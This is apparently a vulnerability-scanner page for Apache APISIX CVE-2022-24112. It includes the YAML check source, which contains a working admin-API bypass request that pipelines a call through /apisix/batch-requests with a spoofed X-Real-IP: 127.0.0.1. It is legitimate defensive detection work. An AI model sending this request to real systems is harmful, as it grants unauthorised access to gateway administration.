Apache APISIX — 1 vulnerability check

noctis ships 1 vulnerability check for Apache APISIX, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Apache APISIX batch-requests Admin API Bypass

CVECVE-2022-24112
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/apisix/CVE-2022-24112.yaml

Detects Apache APISIX instances where the batch-requests plugin allows spoofing the client IP (X-Real-IP) to bypass the Admin API IP restriction. A single read-only GET /apisix/admin/routes is pipelined through /apisix/batch-requests with X-Real-IP: 127.0.0.1; a vulnerable instance returns the Admin API route configuration in the batched sub-response.

How noctis detects it

  1. HTTP(S) request POST /apisix/batch-requests with a crafted body
  2. Checks resp.body for /apisix/routes → finding QoD 75: Admin API reached via batch-requests IP spoof — sub-response returned route config: …

References:

Feed source — tests/vulnerabilities/apisix/CVE-2022-24112.yaml
# Apache APISIX batch-requests Admin API IP-restriction Bypass — CVE-2022-24112
#
# The batch-requests plugin builds each pipelined sub-request with a client IP
# taken from a caller-controlled header (X-Real-IP / X-Forwarded-For via the
# apisix_port real_ip handling). An attacker pipelines a request to the Admin
# API (/apisix/admin/*) with X-Real-IP spoofed to 127.0.0.1, so the sub-request
# appears to originate from loopback and bypasses the Admin API's allow_admin
# IP restriction — reaching the Admin API without being on the allow list.
#
# Affected: Apache APISIX < 2.10.4 (and 2.11.x < 2.12.1) with the
#   batch-requests plugin enabled (enabled by default).
#
# Detection (safe, read-only):
#   POST /apisix/batch-requests with a single pipelined, read-only
#   GET /apisix/admin/routes sub-request carrying X-Real-IP: 127.0.0.1.
#   Vulnerable  → the batched sub-response returns the Admin API route listing
#                 (status 200 + the /apisix/routes config structure).
#   Patched     → the spoofed IP is ignored, the Admin API rejects the
#                 sub-request (401/403), no route config is returned.
#   No route is created or modified and no code is executed.
uid: 46928740-146a-4fe2-8c47-311abdb79ad0
name: "Apache APISIX batch-requests Admin API Bypass (CVE-2022-24112)"
description: |
  Detects Apache APISIX instances where the batch-requests plugin allows
  spoofing the client IP (X-Real-IP) to bypass the Admin API IP restriction.
  A single read-only GET /apisix/admin/routes is pipelined through
  /apisix/batch-requests with X-Real-IP: 127.0.0.1; a vulnerable instance
  returns the Admin API route configuration in the batched sub-response.
cves: [CVE-2022-24112]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: auth-bypass
tags: [apisix, apache, batch-requests, admin-api, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2022-24112"
  - "https://apisix.apache.org/blog/2022/02/11/cve-2022-24112/"
  - "https://github.com/apache/apisix/pull/6251"

steps:
  # Pipeline a read-only Admin API request through batch-requests, spoofing the
  # source IP to loopback so it bypasses the allow_admin IP restriction.
  - id: bypass-probe
    action: http_request
    method: POST
    path: "/apisix/batch-requests"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/json"
      X-Real-IP: "127.0.0.1"
    body: '{"headers":{"X-Real-IP":"127.0.0.1","Content-Type":"application/json"},"timeout":500,"pipeline":[{"method":"GET","path":"/apisix/admin/routes"}]}'
    store_as: resp

  # Genuine signal: the batched sub-response carried the Admin API route listing
  # (the /apisix/routes config node). A patched instance returns 401/403 here.
  - id: bypass-match
    action: match
    source: resp.body
    pattern: "/apisix/routes"
    condition: "resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Admin API reached via batch-requests IP spoof — sub-response returned route config: {{resp.body}}"
      stop: true

View these feeds on GitHub